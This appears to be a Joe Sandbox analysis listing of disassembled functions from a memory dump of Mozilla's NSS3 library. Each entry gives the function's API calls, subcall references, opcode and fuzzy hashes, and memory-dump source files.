API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 81e114ed1032155274d2d1730091417f30f30630622942aa09ef06a9fddab0c6
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 0F11BB71651500AFDB315E29FE0ABC777E5DB51318F800834E65E86A32EB32E839C742

Function 6C7D2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C7D2CA0
PR_ExitMonitor.NSS3 ref: 6C7D2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C7D2CD1
strdup.MOZGLUE(?), ref: 6C7D2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C7D2D27

Strings

Loaded library %s (static lib), xrefs: 6C7D2D22

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 45827f441121798f3fbaed22ae2ed3d326368b3aebc1fc76539e583c9e0f2f1a
Instruction ID: d10251a96066a8714a36b1359e6dd5e110237a9239fd4571aa0ee690704a00e5
Opcode Fuzzy Hash: 45827f441121798f3fbaed22ae2ed3d326368b3aebc1fc76539e583c9e0f2f1a
Instruction Fuzzy Hash: 7011B6B17012409FEB208F15EA4DA6A7BB5AB4631DF15853DD80987B41D736FC09CBE1

Function 6C6CBDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6CBDCA

Part of subcall function 6C720FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6C87ED,00000800,6C6BEF74,00000000), ref: 6C721000
Part of subcall function 6C720FF0: PR_NewLock.NSS3(?,00000800,6C6BEF74,00000000), ref: 6C721016
Part of subcall function 6C720FF0: PL_InitArenaPool.NSS3(00000000,security,6C6C87ED,00000008,?,00000800,6C6BEF74,00000000), ref: 6C72102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6CBDDB

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6CBDEC

Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C6CBE03

Part of subcall function 6C71FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C718D2D,?,00000000,?), ref: 6C71FB85
Part of subcall function 6C71FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C71FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6CBE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6CBE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6CBE3B

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 4d591202b50f93189b5d16395478debb7e9dabce0c362e7350ebfd87db1e4e55
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 0B01DB65B4121167F71022A66D0DF977648DF917DDF140030FE0496F82FB55D51A82BB

Function 6C751C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C751C74

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C751C92
free.MOZGLUE(?), ref: 6C751C99
DeleteCriticalSection.KERNEL32(?), ref: 6C751CCB
free.MOZGLUE(?), ref: 6C751CD2

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 022f5d44684e088c2fea76003a87e5ec510e7bdb8fc4955e7b4fe8f137d8a8e4
Instruction ID: 9bcd9bb691c963d49d70699b0c56f835e53673883eb078cfe9d39f8bbfea2a59
Opcode Fuzzy Hash: 022f5d44684e088c2fea76003a87e5ec510e7bdb8fc4955e7b4fe8f137d8a8e4
Instruction Fuzzy Hash: 6E0196B1F112215FDE30AFA49E0EB4537B4670632EF544135E90AA2E41DB3E9154C7D2

Function 6C762E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C763046

Part of subcall function 6C74EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C737FFB), ref: 6C76312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C763154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C762E8B

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

Part of subcall function 6C74F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C739BFF,?,00000000,00000000), ref: 6C74F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C737FFA), ref: 6C762EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C76317B

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 50f603830287aa7481146d80ff7505f56c4f9e9fb73babdc0f7b7703ed987a31
Instruction ID: 583c0f2034ceb40ec86cd6ff9709a523e94dc597c122d4517bc2250e9ab79dff
Opcode Fuzzy Hash: 50f603830287aa7481146d80ff7505f56c4f9e9fb73babdc0f7b7703ed987a31
Instruction Fuzzy Hash: 65A1DE71A002189FDB24CF55CC84BEAB7B5EF49308F1480A9ED4967B41E731AE85CF92

Function 6C72ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C72ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C72EDCE

Part of subcall function 6C720BE0: malloc.MOZGLUE(6C718D2D,?,00000000,?), ref: 6C720BF8
Part of subcall function 6C720BE0: TlsGetValue.KERNEL32(6C718D2D,?,00000000,?), ref: 6C720C15

free.MOZGLUE(00000000,?,?,?,?,6C72B04F), ref: 6C72EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C72EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C72EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C72EEFB

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 7741c524ec170ae27b53ddd1c7f9bbb45bfd2bd4852da447ad27bf8e8566f34e
Instruction ID: 477f184a4746d1b1c31994a4d24add393b227d5f58a5acf372c30d25fe221d8f
Opcode Fuzzy Hash: 7741c524ec170ae27b53ddd1c7f9bbb45bfd2bd4852da447ad27bf8e8566f34e
Instruction Fuzzy Hash: 1B816DB1A002099FEB14CF65CA85BABB7F5BF88309F14443CE8259B751D738E814CBA1

Function 6C72CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C72C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C72DAE2,?), ref: 6C72C6C2

PR_Now.NSS3 ref: 6C72CD35

Part of subcall function 6C789DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7D0A27), ref: 6C789DC6
Part of subcall function 6C789DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7D0A27), ref: 6C789DD1
Part of subcall function 6C789DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C789DED

Part of subcall function 6C716C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C6C1C6F,00000000,00000004,?,?), ref: 6C716C3F

PR_GetCurrentThread.NSS3 ref: 6C72CD54

Part of subcall function 6C789BF0: TlsGetValue.KERNEL32(?,?,?,6C7D0A75), ref: 6C789C07

Part of subcall function 6C717260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C6C1CCC,00000000,00000000,?,?), ref: 6C71729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C72CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C72CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C72CE2C

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C72CE40

Part of subcall function 6C7214C0: TlsGetValue.KERNEL32 ref: 6C7214E0
Part of subcall function 6C7214C0: EnterCriticalSection.KERNEL32 ref: 6C7214F5
Part of subcall function 6C7214C0: PR_Unlock.NSS3 ref: 6C72150D

Part of subcall function 6C72CEE0: PORT_ArenaMark_Util.NSS3(?,6C72CD93,?), ref: 6C72CEEE
Part of subcall function 6C72CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C72CD93,?), ref: 6C72CEFC
Part of subcall function 6C72CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C72CD93,?), ref: 6C72CF0B
Part of subcall function 6C72CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C72CD93,?), ref: 6C72CF1D

Part of subcall function 6C72CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C72CD93,?), ref: 6C72CF47
Part of subcall function 6C72CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C72CD93,?), ref: 6C72CF67
Part of subcall function 6C72CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C72CD93,?,?,?,?,?,?,?,?,?,?,?,6C72CD93,?), ref: 6C72CF78

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: d64332515ea34df5631a6856c9e12279704be9cc946298d3c676d96c2e0b239c
Instruction ID: f5cf7088d20e54a2cbd25b85593c7e61185b0abf82dbb74c0ecf263513b8fb32
Opcode Fuzzy Hash: d64332515ea34df5631a6856c9e12279704be9cc946298d3c676d96c2e0b239c
Instruction Fuzzy Hash: 3051D376E001009BF710DF69DE49BAA73F8AF58349F250534D909A7B40EB39ED05CB91

Function 6C6FEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C6FEF38

Part of subcall function 6C6E9520: PK11_IsLoggedIn.NSS3(00000000,?,6C71379E,?,00000001,?), ref: 6C6E9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C6FEF53

Part of subcall function 6C704C20: TlsGetValue.KERNEL32 ref: 6C704C4C
Part of subcall function 6C704C20: EnterCriticalSection.KERNEL32(?), ref: 6C704C60
Part of subcall function 6C704C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C704CA1
Part of subcall function 6C704C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C704CBE
Part of subcall function 6C704C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C704CD2
Part of subcall function 6C704C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C704D3A

PR_GetCurrentThread.NSS3 ref: 6C6FEF9E

Part of subcall function 6C789BF0: TlsGetValue.KERNEL32(?,?,?,6C7D0A75), ref: 6C789C07

free.MOZGLUE(00000000), ref: 6C6FEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6FF016
free.MOZGLUE(00000000), ref: 6C6FF022

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: a4a940d1f54c596620e1accb59a11c8087aa177df102d875eb2dcddba3bc823c
Instruction ID: 4df746180d15c7203442040b410efe68244d3c6faf10a6816cd7cc78dd8cc36c
Opcode Fuzzy Hash: a4a940d1f54c596620e1accb59a11c8087aa177df102d875eb2dcddba3bc823c
Instruction Fuzzy Hash: 6241A3B1E0020AABDF018FA9DC45AEE7AB6AF48358F044035F914A7750E771C915CBA5

Function 6C6D2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C6C2D1A), ref: 6C6D2E7E

Part of subcall function 6C7207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C6C8298,?,?,?,6C6BFCE5,?), ref: 6C7207BF
Part of subcall function 6C7207B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7207E6
Part of subcall function 6C7207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C72081B
Part of subcall function 6C7207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C720825

PR_Now.NSS3 ref: 6C6D2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C6D2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C6C2D1A), ref: 6C6D2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C6C2D1A), ref: 6C6D2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6D2F81

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 5d88783a7a9cdb5e6f64d1774789f5d8bfd54addee27d9f30f760fba321b7157
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: ED3101715411018AE710C665CC8CBBEB366EF81318F664E79D42997AD0EB31BC8AC62B

Function 6C6C0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C6C0A2C), ref: 6C6C0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C6C0A2C), ref: 6C6C0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C6C0A2C), ref: 6C6C0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C6C0A2C), ref: 6C6C0E90
free.MOZGLUE(00000000), ref: 6C6C0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C6C0A2C), ref: 6C6C0ED9

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 3aec1d5c7a5677f71acc370c6f940f9823539e6e5660da410453c500e192b546
Instruction ID: 3ecad527e6ccabfd09f26076b5d3553f0bdce90df2325a8d8de805da9f7af4c6
Opcode Fuzzy Hash: 3aec1d5c7a5677f71acc370c6f940f9823539e6e5660da410453c500e192b546
Instruction Fuzzy Hash: 052140F6FC029557EB1045659C45BAB72EEDFC974CF190035D81C63A12EB70D81782A7

Function 6C6CAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6CAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C6CAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6CAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C6CAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C7E9500), ref: 6C6CAF23

Part of subcall function 6C71F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C71F0C8
Part of subcall function 6C71F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C71F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6CAF37

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 43f3f5da7a1e8dd8561f68a0730d12dd2cbc222f7e30511593e8471db90ff6d1
Instruction ID: 84c82c8c61a9ffc827f89988e2ae2d3cb1ece73f6c43919cc34f64255a6b6322
Opcode Fuzzy Hash: 43f3f5da7a1e8dd8561f68a0730d12dd2cbc222f7e30511593e8471db90ff6d1
Instruction Fuzzy Hash: DF214CB2A092009BEB108F189D05B9A7BE4EF8572CF144318FD649BBD2E731D50587EB

Function 6C74EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74EE85
realloc.MOZGLUE(3E585004,?), ref: 6C74EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C74EEC5

Part of subcall function 6C720BE0: malloc.MOZGLUE(6C718D2D,?,00000000,?), ref: 6C720BF8
Part of subcall function 6C720BE0: TlsGetValue.KERNEL32(6C718D2D,?,00000000,?), ref: 6C720C15

htonl.WSOCK32(?), ref: 6C74EEE3
htonl.WSOCK32(00000000,?), ref: 6C74EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C74EF01

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 392f968b6fd4d0239d3f136fcccdc8683f6f7bdd6b62b9f9fee2d580340088eb
Instruction ID: f200f275ff30a180f0875906665c207e445809c86afada885879754689540022
Opcode Fuzzy Hash: 392f968b6fd4d0239d3f136fcccdc8683f6f7bdd6b62b9f9fee2d580340088eb
Instruction Fuzzy Hash: F621D671A002299FDB10DF28DD88B5AB7A8EF45368F158179EC199B642D331EC14C7E2

Function 6C6CBE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C74DC29,?), ref: 6C6CBE64

Part of subcall function 6C720FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6C87ED,00000800,6C6BEF74,00000000), ref: 6C721000
